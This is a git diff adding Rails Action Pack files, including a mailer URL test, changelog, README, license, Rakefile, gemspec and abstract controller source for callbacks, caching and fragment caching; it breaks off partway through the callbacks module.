+class WelcomeController < ActionController::Base
+end
+
+AppRoutes = ActionDispatch::Routing::RouteSet.new
+
+class ActionMailer::Base
+  include AppRoutes.url_helpers
+end
+
+class UrlTestMailer < ActionMailer::Base
+  default_url_options[:host] = "www.basecamphq.com"
+
+  configure do |c|
+    c.assets_dir = "" # To get the tests to pass
+  end
+
+  def signed_up_with_url(recipient)
+    @recipient   = recipient
+    @welcome_url = url_for host: "example.com", controller: "welcome", action: "greeting"
+    mail(to: recipient, subject: "[Signed up] Welcome #{recipient}",
+      from: "system@loudthinking.com", date: Time.local(2004, 12, 12))
+  end
+
+  def exercise_url_for(options)
+    @options = options
+    @url = url_for(@options)
+    mail(from: "from@example.com", to: "to@example.com", subject: "subject")
+  end
+end
+
+class ActionMailerUrlTest < ActionMailer::TestCase
+  class DummyModel
+    def self.model_name
+      OpenStruct.new(route_key: "dummy_model")
+    end
+
+    def persisted?
+      false
+    end
+
+    def model_name
+      self.class.model_name
+    end
+
+    def to_model
+      self
+    end
+  end
+
+  def encode(text, charset = "UTF-8")
+    quoted_printable(text, charset)
+  end
+
+  def new_mail(charset = "UTF-8")
+    mail = Mail.new
+    mail.mime_version = "1.0"
+    if charset
+      mail.content_type ["text", "plain", { "charset" => charset }]
+    end
+    mail
+  end
+
+  def assert_url_for(expected, options, relative = false)
+    expected = "http://www.basecamphq.com#{expected}" if expected.start_with?("/") && !relative
+    urls = UrlTestMailer.exercise_url_for(options).body.to_s.chomp.split
+
+    assert_equal expected, urls.first
+    assert_equal expected, urls.second
+  end
+
+  def setup
+    @recipient = "test@localhost"
+  end
+
+  def test_url_for
+    UrlTestMailer.delivery_method = :test
+
+    AppRoutes.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller(/:action(/:id))"
+        get "/welcome" => "foo#bar", as: "welcome"
+        get "/dummy_model" => "foo#baz", as: "dummy_model"
+      end
+    end
+
+    # string
+    assert_url_for "http://foo/", "http://foo/"
+
+    # symbol
+    assert_url_for "/welcome", :welcome
+
+    # hash
+    assert_url_for "/a/b/c", controller: "a", action: "b", id: "c"
+    assert_url_for "/a/b/c", { controller: "a", action: "b", id: "c", only_path: true }, true
+
+    # model
+    assert_url_for "/dummy_model", DummyModel.new
+
+    # class
+    assert_url_for "/dummy_model", DummyModel
+
+    # array
+    assert_url_for "/dummy_model" , [DummyModel]
+  end
+
+  def test_signed_up_with_url
+    UrlTestMailer.delivery_method = :test
+
+    AppRoutes.draw do
+      ActiveSupport::Deprecation.silence do
+        get ":controller(/:action(/:id))"
+        get "/welcome" => "foo#bar", as: "welcome"
+      end
+    end
+
+    expected = new_mail
+    expected.to      = @recipient
+    expected.subject = "[Signed up] Welcome #{@recipient}"
+    expected.body    = "Hello there,\n\nMr. #{@recipient}. Please see our greeting at http://example.com/welcome/greeting http://www.basecamphq.com/welcome\n\n<img alt=\"Somelogo\" src=\"/images/somelogo.png\" />"
+    expected.from    = "system@loudthinking.com"
+    expected.date    = Time.local(2004, 12, 12)
+    expected.content_type = "text/html"
+
+    created = nil
+    assert_nothing_raised { created = UrlTestMailer.signed_up_with_url(@recipient) }
+    assert_not_nil created
+
+    expected.message_id = "<123@456>"
+    created.message_id = "<123@456>"
+    assert_dom_equal expected.encoded, created.encoded
+
+    assert_nothing_raised { UrlTestMailer.signed_up_with_url(@recipient).deliver_now }
+    assert_not_nil ActionMailer::Base.deliveries.first
+    delivered = ActionMailer::Base.deliveries.first
+
+    delivered.message_id = "<123@456>"
+    assert_dom_equal expected.encoded, delivered.encoded
+  end
+end
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
new file mode 100644
index 0000000000..291e019530
--- /dev/null
+++ b/actionpack/CHANGELOG.md
@@ -0,0 +1,61 @@
+*   Protect from forgery by default
+
+    Rather than protecting from forgery in the generated `ApplicationController`,
+    add it to `ActionController::Base` depending on
+    `config.action_controller.default_protect_from_forgery`. This configuration
+    defaults to false to support older versions which have removed it from their
+    `ApplicationController`, but is set to true for Rails 5.2.
+
+    *Lisa Ugray*
+
+*   Fallback `ActionController::Parameters#to_s` to `Hash#to_s`.
+
+    *Kir Shatrov*
+
+*   `driven_by` now registers poltergeist and capybara-webkit
+
+    If driver poltergeist or capybara-webkit is set for System Tests,
+    `driven_by` will register the driver and set additional options passed via
+    `:options` param.
+
+    Refer to drivers documentation to learn what options can be passed.
+
+    *Mario Chavez*
+
+*   AEAD encrypted cookies and sessions with GCM
+
+    Encrypted cookies now use AES-GCM which couples authentication and
+    encryption in one faster step and produces shorter ciphertexts. Cookies
+    encrypted using AES in CBC HMAC mode will be seamlessly upgraded when
+    this new mode is enabled via the
+    `action_dispatch.use_authenticated_cookie_encryption` configuration value.
+
+    *Michael J Coyne*
+
+*   Change the cache key format for fragments to make it easier to debug key churn. The new format is:
+
+        views/template/action.html.erb:7a1156131a6928cb0026877f8b749ac9/projects/123
+              ^template path           ^template tree digest            ^class   ^id
+
+    *DHH*
+
+*   Add support for recyclable cache keys with fragment caching. This uses the new versioned entries in the
+    `ActiveSupport::Cache` stores and relies on the fact that Active Record has split `#cache_key` and `#cache_version`
+    to support it.
+
+    *DHH*
+
+*   Add `action_controller_api` and `action_controller_base` load hooks to be called in `ActiveSupport.on_load`
+
+    `ActionController::Base` and `ActionController::API` have differing implementations. This means that
+    the one umbrella hook `action_controller` is not able to address certain situations where a method
+    may not exist in a certain implementation.
+
+    This is fixed by adding two new hooks so you can target `ActionController::Base` vs `ActionController::API`
+
+    Fixes #27013.
+
+    *Julian Nadeau*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
new file mode 100644
index 0000000000..ac810e86d0
--- /dev/null
+++ b/actionpack/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2017 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
new file mode 100644
index 0000000000..0720c66cb9
--- /dev/null
+++ b/actionpack/README.rdoc
@@ -0,0 +1,57 @@
+= Action Pack -- From request to response
+
+Action Pack is a framework for handling and responding to web requests. It
+provides mechanisms for *routing* (mapping request URLs to actions), defining
+*controllers* that implement actions, and generating responses by rendering
+*views*, which are templates of various formats. In short, Action Pack
+provides the view and controller layers in the MVC paradigm.
+
+It consists of several modules:
+
+* Action Dispatch, which parses information about the web request, handles
+  routing as defined by the user, and does advanced processing related to HTTP
+  such as MIME-type negotiation, decoding parameters in POST, PATCH, or PUT bodies,
+  handling HTTP caching logic, cookies and sessions.
+
+* Action Controller, which provides a base controller class that can be
+  subclassed to implement filters and actions to handle requests. The result
+  of an action is typically content generated from views.
+
+With the Ruby on Rails framework, users only directly interface with the
+Action Controller module. Necessary Action Dispatch functionality is activated
+by default and Action View rendering is implicitly triggered by Action
+Controller. However, these modules are designed to function on their own and
+can be used outside of Rails.
+
+
+== Download and installation
+
+The latest version of Action Pack can be installed with RubyGems:
+
+  $ gem install actionpack
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/actionpack
+
+
+== License
+
+Action Pack is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
new file mode 100644
index 0000000000..4dd7c59ce8
--- /dev/null
+++ b/actionpack/Rakefile
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+
+test_files = Dir.glob("test/**/*_test.rb")
+
+desc "Default Task"
+task default: :test
+
+task :package
+
+# Run the unit tests
+Rake::TestTask.new do |t|
+  t.libs << "test"
+  t.test_files = test_files
+
+  t.warning = true
+  t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+end
+
+namespace :test do
+  task :isolated do
+    test_files.all? do |file|
+      sh(Gem.ruby, "-w", "-Ilib:test", file)
+    end || raise("Failures")
+  end
+end
+
+task :lines do
+  load File.expand_path("..", __dir__) + "/tools/line_statistics"
+  files = FileList["lib/**/*.rb"]
+  CodeTools::LineStatistics.new(files).print_loc
+end
+
+rule ".rb" => ".y" do |t|
+  sh "racc -l -o #{t.name} #{t.source}"
+end
+
+task compile: "lib/action_dispatch/journey/parser.rb"
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
new file mode 100644
index 0000000000..33d42e69d8
--- /dev/null
+++ b/actionpack/actionpack.gemspec
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "actionpack"
+  s.version     = version
+  s.summary     = "Web-flow and rendering framework putting the VC in MVC (part of Rails)."
+  s.description = "Web apps on Rails. Simple, battle-tested conventions for building and testing MVC web applications. Works with any Rack-compatible server."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "lib/**/*"]
+  s.require_path = "lib"
+  s.requirements << "none"
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/actionpack",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/actionpack/CHANGELOG.md"
+  }
+
+  s.add_dependency "activesupport", version
+
+  s.add_dependency "rack",      "~> 2.0"
+  s.add_dependency "rack-test", ">= 0.6.3"
+  s.add_dependency "rails-html-sanitizer", "~> 1.0", ">= 1.0.2"
+  s.add_dependency "rails-dom-testing", "~> 2.0"
+  s.add_dependency "actionview", version
+
+  s.add_development_dependency "activemodel", version
+end
diff --git a/actionpack/bin/test b/actionpack/bin/test
new file mode 100755
index 0000000000..c53377cc97
--- /dev/null
+++ b/actionpack/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/actionpack/lib/abstract_controller.rb b/actionpack/lib/abstract_controller.rb
new file mode 100644
index 0000000000..0477e7f1c9
--- /dev/null
+++ b/actionpack/lib/abstract_controller.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "action_pack"
+require "active_support/rails"
+require "active_support/i18n"
+
+module AbstractController
+  extend ActiveSupport::Autoload
+
+  autoload :Base
+  autoload :Caching
+  autoload :Callbacks
+  autoload :Collector
+  autoload :DoubleRenderError, "abstract_controller/rendering"
+  autoload :Helpers
+  autoload :Logger
+  autoload :Rendering
+  autoload :Translation
+  autoload :AssetPaths
+  autoload :UrlFor
+
+  def self.eager_load!
+    super
+    AbstractController::Caching.eager_load!
+  end
+end
diff --git a/actionpack/lib/abstract_controller/asset_paths.rb b/actionpack/lib/abstract_controller/asset_paths.rb
new file mode 100644
index 0000000000..d6ee84b87b
--- /dev/null
+++ b/actionpack/lib/abstract_controller/asset_paths.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module AbstractController
+  module AssetPaths #:nodoc:
+    extend ActiveSupport::Concern
+
+    included do
+      config_accessor :asset_host, :assets_dir, :javascripts_dir,
+        :stylesheets_dir, :default_asset_host_protocol, :relative_url_root
+    end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb
new file mode 100644
index 0000000000..3761054bb7
--- /dev/null
+++ b/actionpack/lib/abstract_controller/base.rb
@@ -0,0 +1,267 @@
+# frozen_string_literal: true
+
+require_relative "error"
+require "active_support/configurable"
+require "active_support/descendants_tracker"
+require "active_support/core_ext/module/anonymous"
+require "active_support/core_ext/module/attr_internal"
+
+module AbstractController
+  # Raised when a non-existing controller action is triggered.
+  class ActionNotFound < StandardError
+  end
+
+  # AbstractController::Base is a low-level API. Nobody should be
+  # using it directly, and subclasses (like ActionController::Base) are
+  # expected to provide their own +render+ method, since rendering means
+  # different things depending on the context.
+  class Base
+    ##
+    # Returns the body of the HTTP response sent by the controller.
+    attr_internal :response_body
+
+    ##
+    # Returns the name of the action this controller is processing.
+    attr_internal :action_name
+
+    ##
+    # Returns the formats that can be processed by the controller.
+    attr_internal :formats
+
+    include ActiveSupport::Configurable
+    extend ActiveSupport::DescendantsTracker
+
+    class << self
+      attr_reader :abstract
+      alias_method :abstract?, :abstract
+
+      # Define a controller as abstract. See internal_methods for more
+      # details.
+      def abstract!
+        @abstract = true
+      end
+
+      def inherited(klass) # :nodoc:
+        # Define the abstract ivar on subclasses so that we don't get
+        # uninitialized ivar warnings
+        unless klass.instance_variable_defined?(:@abstract)
+          klass.instance_variable_set(:@abstract, false)
+        end
+        super
+      end
+
+      # A list of all internal methods for a controller. This finds the first
+      # abstract superclass of a controller, and gets a list of all public
+      # instance methods on that abstract class. Public instance methods of
+      # a controller would normally be considered action methods, so methods
+      # declared on abstract classes are being removed.
+      # (<tt>ActionController::Metal</tt> and ActionController::Base are defined as abstract)
+      def internal_methods
+        controller = self
+
+        controller = controller.superclass until controller.abstract?
+        controller.public_instance_methods(true)
+      end
+
+      # A list of method names that should be considered actions. This
+      # includes all public instance methods on a controller, less
+      # any internal methods (see internal_methods), adding back in
+      # any methods that are internal, but still exist on the class
+      # itself.
+      #
+      # ==== Returns
+      # * <tt>Set</tt> - A set of all methods that should be considered actions.
+      def action_methods
+        @action_methods ||= begin
+          # All public instance methods of this class, including ancestors
+          methods = (public_instance_methods(true) -
+            # Except for public instance methods of Base and its ancestors
+            internal_methods +
+            # Be sure to include shadowed public instance methods of this class
+            public_instance_methods(false)).uniq.map(&:to_s)
+
+          methods.to_set
+        end
+      end
+
+      # action_methods are cached and there is sometimes a need to refresh
+      # them. ::clear_action_methods! allows you to do that, so next time
+      # you run action_methods, they will be recalculated.
+      def clear_action_methods!
+        @action_methods = nil
+      end
+
+      # Returns the full controller name, underscored, without the ending Controller.
+      #
+      #   class MyApp::MyPostsController < AbstractController::Base
+      #
+      #   end
+      #
+      #   MyApp::MyPostsController.controller_path # => "my_app/my_posts"
+      #
+      # ==== Returns
+      # * <tt>String</tt>
+      def controller_path
+        @controller_path ||= name.sub(/Controller$/, "".freeze).underscore unless anonymous?
+      end
+
+      # Refresh the cached action_methods when a new action_method is added.
+      def method_added(name)
+        super
+        clear_action_methods!
+      end
+    end
+
+    abstract!
+
+    # Calls the action going through the entire action dispatch stack.
+    #
+    # The actual method that is called is determined by calling
+    # #method_for_action. If no method can handle the action, then an
+    # AbstractController::ActionNotFound error is raised.
+    #
+    # ==== Returns
+    # * <tt>self</tt>
+    def process(action, *args)
+      @_action_name = action.to_s
+
+      unless action_name = _find_action_name(@_action_name)
+        raise ActionNotFound, "The action '#{action}' could not be found for #{self.class.name}"
+      end
+
+      @_response_body = nil
+
+      process_action(action_name, *args)
+    end
+
+    # Delegates to the class' ::controller_path
+    def controller_path
+      self.class.controller_path
+    end
+
+    # Delegates to the class' ::action_methods
+    def action_methods
+      self.class.action_methods
+    end
+
+    # Returns true if a method for the action is available and
+    # can be dispatched, false otherwise.
+    #
+    # Notice that <tt>action_methods.include?("foo")</tt> may return
+    # false and <tt>available_action?("foo")</tt> returns true because
+    # this method considers actions that are also available
+    # through other means, for example, implicit render ones.
+    #
+    # ==== Parameters
+    # * <tt>action_name</tt> - The name of an action to be tested
+    def available_action?(action_name)
+      _find_action_name(action_name)
+    end
+
+    # Tests if a response body is set. Used to determine if the
+    # +process_action+ callback needs to be terminated in
+    # +AbstractController::Callbacks+.
+    def performed?
+      response_body
+    end
+
+    # Returns true if the given controller is capable of rendering
+    # a path. A subclass of +AbstractController::Base+
+    # may return false. An Email controller for example does not
+    # support paths, only full URLs.
+    def self.supports_path?
+      true
+    end
+
+    private
+
+      # Returns true if the name can be considered an action because
+      # it has a method defined in the controller.
+      #
+      # ==== Parameters
+      # * <tt>name</tt> - The name of an action to be tested
+      #
+      # :api: private
+      def action_method?(name)
+        self.class.action_methods.include?(name)
+      end
+
+      # Call the action. Override this in a subclass to modify the
+      # behavior around processing an action. This, and not #process,
+      # is the intended way to override action dispatching.
+      #
+      # Notice that the first argument is the method to be dispatched
+      # which is *not* necessarily the same as the action name.
+      def process_action(method_name, *args)
+        send_action(method_name, *args)
+      end
+
+      # Actually call the method associated with the action. Override
+      # this method if you wish to change how action methods are called,
+      # not to add additional behavior around it. For example, you would
+      # override #send_action if you want to inject arguments into the
+      # method.
+      alias send_action send
+
+      # If the action name was not found, but a method called "action_missing"
+      # was found, #method_for_action will return "_handle_action_missing".
+      # This method calls #action_missing with the current action name.
+      def _handle_action_missing(*args)
+        action_missing(@_action_name, *args)
+      end
+
+      # Takes an action name and returns the name of the method that will
+      # handle the action.
+      #
+      # It checks if the action name is valid and returns false otherwise.
+      #
+      # See method_for_action for more information.
+      #
+      # ==== Parameters
+      # * <tt>action_name</tt> - An action name to find a method name for
+      #
+      # ==== Returns
+      # * <tt>string</tt> - The name of the method that handles the action
+      # * false           - No valid method name could be found.
+      # Raise +AbstractController::ActionNotFound+.
+      def _find_action_name(action_name)
+        _valid_action_name?(action_name) && method_for_action(action_name)
+      end
+
+      # Takes an action name and returns the name of the method that will
+      # handle the action. In normal cases, this method returns the same
+      # name as it receives. By default, if #method_for_action receives
+      # a name that is not an action, it will look for an #action_missing
+      # method and return "_handle_action_missing" if one is found.
+      #
+      # Subclasses may override this method to add additional conditions
+      # that should be considered an action. For instance, an HTTP controller
+      # with a template matching the action name is considered to exist.
+      #
+      # If you override this method to handle additional cases, you may
+      # also provide a method (like +_handle_method_missing+) to handle
+      # the case.
+      #
+      # If none of these conditions are true, and +method_for_action+
+      # returns +nil+, an +AbstractController::ActionNotFound+ exception will be raised.
+      #
+      # ==== Parameters
+      # * <tt>action_name</tt> - An action name to find a method name for
+      #
+      # ==== Returns
+      # * <tt>string</tt> - The name of the method that handles the action
+      # * <tt>nil</tt>    - No method name could be found.
+      def method_for_action(action_name)
+        if action_method?(action_name)
+          action_name
+        elsif respond_to?(:action_missing, true)
+          "_handle_action_missing"
+        end
+      end
+
+      # Checks if the action name is valid and returns false otherwise.
+      def _valid_action_name?(action_name)
+        !action_name.to_s.include? File::SEPARATOR
+      end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/caching.rb b/actionpack/lib/abstract_controller/caching.rb
new file mode 100644
index 0000000000..ce6b757c3c
--- /dev/null
+++ b/actionpack/lib/abstract_controller/caching.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+module AbstractController
+  module Caching
+    extend ActiveSupport::Concern
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :Fragments
+    end
+
+    module ConfigMethods
+      def cache_store
+        config.cache_store
+      end
+
+      def cache_store=(store)
+        config.cache_store = ActiveSupport::Cache.lookup_store(store)
+      end
+
+      private
+        def cache_configured?
+          perform_caching && cache_store
+        end
+    end
+
+    include ConfigMethods
+    include AbstractController::Caching::Fragments
+
+    included do
+      extend ConfigMethods
+
+      config_accessor :default_static_extension
+      self.default_static_extension ||= ".html"
+
+      config_accessor :perform_caching
+      self.perform_caching = true if perform_caching.nil?
+
+      config_accessor :enable_fragment_cache_logging
+      self.enable_fragment_cache_logging = false
+
+      class_attribute :_view_cache_dependencies, default: []
+      helper_method :view_cache_dependencies if respond_to?(:helper_method)
+    end
+
+    module ClassMethods
+      def view_cache_dependency(&dependency)
+        self._view_cache_dependencies += [dependency]
+      end
+    end
+
+    def view_cache_dependencies
+      self.class._view_cache_dependencies.map { |dep| instance_exec(&dep) }.compact
+    end
+
+    private
+      # Convenience accessor.
+      def cache(key, options = {}, &block) # :doc:
+        if cache_configured?
+          cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block)
+        else
+          yield
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/caching/fragments.rb b/actionpack/lib/abstract_controller/caching/fragments.rb
new file mode 100644
index 0000000000..f99b0830b2
--- /dev/null
+++ b/actionpack/lib/abstract_controller/caching/fragments.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+module AbstractController
+  module Caching
+    # Fragment caching is used for caching various blocks within
+    # views without caching the entire action as a whole. This is
+    # useful when certain elements of an action change frequently or
+    # depend on complicated state while other parts rarely change or
+    # can be shared amongst multiple parties. The caching is done using
+    # the +cache+ helper available in the Action View. See
+    # ActionView::Helpers::CacheHelper for more information.
+    #
+    # While it's strongly recommended that you use key-based cache
+    # expiration (see links in CacheHelper for more information),
+    # it is also possible to manually expire caches. For example:
+    #
+    #   expire_fragment('name_of_cache')
+    module Fragments
+      extend ActiveSupport::Concern
+
+      included do
+        if respond_to?(:class_attribute)
+          class_attribute :fragment_cache_keys
+        else
+          mattr_writer :fragment_cache_keys
+        end
+
+        self.fragment_cache_keys = []
+
+        if respond_to?(:helper_method)
+          helper_method :fragment_cache_key
+          helper_method :combined_fragment_cache_key
+        end
+      end
+
+      module ClassMethods
+        # Allows you to specify controller-wide key prefixes for
+        # cache fragments. Pass either a constant +value+, or a block
+        # which computes a value each time a cache key is generated.
+        #
+        # For example, you may want to prefix all fragment cache keys
+        # with a global version identifier, so you can easily
+        # invalidate all caches.
+        #
+        #   class ApplicationController
+        #     fragment_cache_key "v1"
+        #   end
+        #
+        # When it's time to invalidate all fragments, simply change
+        # the string constant. Or, progressively roll out the cache
+        # invalidation using a computed value:
+        #
+        #   class ApplicationController
+        #     fragment_cache_key do
+        #       @account.id.odd? ? "v1" : "v2"
+        #     end
+        #   end
+        def fragment_cache_key(value = nil, &key)
+          self.fragment_cache_keys += [key || -> { value }]
+        end
+      end
+
+      # Given a key (as described in +expire_fragment+), returns
+      # a key suitable for use in reading, writing, or expiring a
+      # cached fragment. All keys begin with <tt>views/</tt>,
+      # followed by any controller-wide key prefix values, ending
+      # with the specified +key+ value. The key is expanded using
+      # ActiveSupport::Cache.expand_cache_key.
+      def fragment_cache_key(key)
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          Calling fragment_cache_key directly is deprecated and will be removed in Rails 6.0.
+          All fragment accessors now use the combined_fragment_cache_key method that retains the key as an array,
+          such that the caching stores can interrogate the parts for cache versions used in
+          recyclable cache keys.
+        MSG
+
+        head = self.class.fragment_cache_keys.map { |k| instance_exec(&k) }
+        tail = key.is_a?(Hash) ? url_for(key).split("://").last : key
+        ActiveSupport::Cache.expand_cache_key([*head, *tail], :views)
+      end
+
+      # Given a key (as described in +expire_fragment+), returns
+      # a key array suitable for use in reading, writing, or expiring a
+      # cached fragment. All keys begin with <tt>:views</tt>,
+      # followed by ENV["RAILS_CACHE_ID"] or ENV["RAILS_APP_VERSION"] if set,
+      # followed by any controller-wide key prefix values, ending
+      # with the specified +key+ value.
+      def combined_fragment_cache_key(key)
+        head = self.class.fragment_cache_keys.map { |k| instance_exec(&k) }
+        tail = key.is_a?(Hash) ? url_for(key).split("://").last : key
+        [ :views, (ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]), *head, *tail ].compact
+      end
+
+      # Writes +content+ to the location signified by
+      # +key+ (see +expire_fragment+ for acceptable formats).
+      def write_fragment(key, content, options = nil)
+        return content unless cache_configured?
+
+        key = combined_fragment_cache_key(key)
+        instrument_fragment_cache :write_fragment, key do
+          content = content.to_str
+          cache_store.write(key, content, options)
+        end
+        content
+      end
+
+      # Reads a cached fragment from the location signified by +key+
+      # (see +expire_fragment+ for acceptable formats).
+      def read_fragment(key, options = nil)
+        return unless cache_configured?
+
+        key = combined_fragment_cache_key(key)
+        instrument_fragment_cache :read_fragment, key do
+          result = cache_store.read(key, options)
+          result.respond_to?(:html_safe) ? result.html_safe : result
+        end
+      end
+
+      # Check if a cached fragment from the location signified by
+      # +key+ exists (see +expire_fragment+ for acceptable formats).
+      def fragment_exist?(key, options = nil)
+        return unless cache_configured?
+        key = combined_fragment_cache_key(key)
+
+        instrument_fragment_cache :exist_fragment?, key do
+          cache_store.exist?(key, options)
+        end
+      end
+
+      # Removes fragments from the cache.
+      #
+      # +key+ can take one of three forms:
+      #
+      # * String - This would normally take the form of a path, like
+      #   <tt>pages/45/notes</tt>.
+      # * Hash - Treated as an implicit call to +url_for+, like
+      #   <tt>{ controller: 'pages', action: 'notes', id: 45}</tt>
+      # * Regexp - Will remove any fragment that matches, so
+      #   <tt>%r{pages/\d*/notes}</tt> might remove all notes. Make sure you
+      #   don't use anchors in the regex (<tt>^</tt> or <tt>$</tt>) because
+      #   the actual filename matched looks like
+      #   <tt>./cache/filename/path.cache</tt>. Note: Regexp expiration is
+      #   only supported on caches that can iterate over all keys (unlike
+      #   memcached).
+      #
+      # +options+ is passed through to the cache store's +delete+
+      # method (or <tt>delete_matched</tt>, for Regexp keys).
+      def expire_fragment(key, options = nil)
+        return unless cache_configured?
+        key = combined_fragment_cache_key(key) unless key.is_a?(Regexp)
+
+        instrument_fragment_cache :expire_fragment, key do
+          if key.is_a?(Regexp)
+            cache_store.delete_matched(key, options)
+          else
+            cache_store.delete(key, options)
+          end
+        end
+      end
+
+      def instrument_fragment_cache(name, key) # :nodoc:
+        ActiveSupport::Notifications.instrument("#{name}.#{instrument_name}", instrument_payload(key)) { yield }
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
new file mode 100644
index 0000000000..715d043b4e
--- /dev/null
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -0,0 +1,212 @@
+# frozen_string_literal: true
+
+module AbstractController
+  # = Abstract Controller Callbacks
+  #
+  # Abstract Controller provides hooks during the life cycle of a controller action.
+  # Callbacks allow you to trigger logic during this cycle. Available callbacks are:
+  #
+  # * <tt>after_action</tt>
+  # * <tt>append_after_action</tt>
+  # * <tt>append_around_action</tt>
+  # * <tt>append_before_action</tt>
+  # * <tt>around_action</tt>
+  # * <tt>before_action</tt>
+  # * <tt>prepend_after_action</tt>
+  # * <tt>prepend_around_action</tt>
+  # * <tt>prepend_before_action</tt>
+  # * <tt>skip_after_action</tt>
+  # * <tt>skip_around_action</tt>
+  # * <tt>skip_before_action</tt>
+  #
+  # NOTE: Calling the same callback multiple times will overwrite previous callback definitions.
+  #
+  module Callbacks
+    extend ActiveSupport::Concern
+
+    # Uses ActiveSupport::Callbacks as the base functionality. For
+    # more details on the whole callback system, read the documentation
+    # for ActiveSupport::Callbacks.
+    include ActiveSupport::Callbacks
+
+    included do
+      define_callbacks :process_action,
+                       terminator: ->(controller, result_lambda) { result_lambda.call; controller.performed? },
+                       skip_after_callbacks_if_terminated: true
+    end
+
+    # Override AbstractController::Base's process_action to run the
+    # process_action callbacks around the normal behavior.
+    def process_action(*args)
+      run_callbacks(:process_action) do
+        super
+      end
+    end
+
+    module ClassMethods
+      # If +:only+ or +:except+ are used, convert the options into the
+      # +:if+ and +:unless+ options of ActiveSupport::Callbacks.
+      #
+      # The basic idea is that <tt>:only => :index</tt> gets converted to
+      # <tt>:if => proc {|c| c.action_name == "index" }</tt>.
+      #
+      # Note that <tt>:only</tt> has priority over <tt>:if</tt> in case they
+      # are used together.
+      #
+      #   only: :index, if: -> { true } # the :if option will be ignored.
+      #
+      # Note that <tt>:if</tt> has priority over <tt>:except</tt> in case they
+      # are used together.
+      #
+      #   except: :index, if: -> { true } # the :except option will be ignored.
+      #
+      # ==== Options
+      # * <tt>only</tt>   - The callback should be run only for this action.
+      # * <tt>except</tt>  - The callback should be run for all actions except this action.
+      def _normalize_callback_options(options)
+        _normalize_callback_option(options, :only, :if)
+        _normalize_callback_option(options, :except, :unless)
+      end
+
+      def _normalize_callback_option(options, from, to) # :nodoc:
+        if from = options[from]
+          _from = Array(from).map(&:to_s).to_set
+          from = proc { |c| _from.include? c.action_name }
+          options[to] = Array(options[to]).unshift(from)
+        end
+      end
+
+      # Take callback names and an optional callback proc, normalize them,
+      # then call the block with each callback. This allows us to abstract
+      # the normalization across several methods that use it.
+      #
+      # ==== Parameters
+      # * <tt>callbacks</tt> - An array of callbacks, with an optional
+      #   options hash as the last parameter.
+      # * <tt>block</tt>    - A proc that should be added to the callbacks.
+      #
+      # ==== Block Parameters
+      # * <tt>name</tt>     - The callback to be added.
+      # * <tt>options</tt>  - A hash of options to be used when adding the callback.
+      def _insert_callbacks(callbacks, block = nil)
+        options = callbacks.extract_options!
+        _normalize_callback_options(options)
+        callbacks.push(block) if block
+        callbacks.each do |callback|
